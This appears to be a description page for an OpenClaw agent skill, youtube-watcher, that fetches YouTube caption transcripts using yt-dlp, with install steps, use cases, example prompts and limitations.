youtube-watcher

What This Skill Does

The youtube-watcher skill is a powerful utility designed for OpenClaw agents to interact with YouTube content by retrieving text transcripts. By parsing the underlying caption data of a video, the skill allows the agent to "read" the video's content, effectively bridging the gap between multimedia files and text-based reasoning. This enables users to perform complex analysis on video data without needing to manually watch hours of footage or scrub through timelines. It processes subtitles—both manually added and auto-generated—to provide a clean, readable text format for downstream AI processing.

Installation

Installation involves two main parts: the OpenClawProvider runtime and the skill itself. First, ensure OpenClawProvider is set up on your system following the instructions for your specific OS (Windows or MacOS). Once the provider is active, use the command clawhub install openclaw/skills/skills/sakaen736jih/youtube-watcher-z in your terminal. You must also ensure that yt-dlp is installed and accessible in your system's PATH, as the backend script relies on it to handle the retrieval of video metadata and caption streams.

Use Cases

This skill is ideal for content creators, researchers, and students. Use it to generate detailed summaries of long-form podcasts, extract technical explanations from software tutorials, or perform quick fact-checking on news reports. It simplifies knowledge management by turning ephemeral video clips into searchable text documentation that can be stored or analyzed alongside your other notes.

Example Prompts

1. "Can you watch this YouTube link and provide a five-bullet-point summary of the key takeaways?"
2. "I am looking for the specific timestamp or section in this video where the author discusses Python decorators. Can you find it for me?"
3. "Please explain the main argument made in this documentary based on the transcript."

Tips & Limitations

Note that this skill relies entirely on the availability of closed captions. If a video creator has disabled subtitles or if the auto-generation feature has failed to process the audio, the skill will return an error. Always verify that your network connection is stable, as fetching long transcripts from YouTube involves external API interactions that can be interrupted by unstable links or blocked traffic. For the best results, use videos that are in languages supported by YouTube's native auto-captioning systems.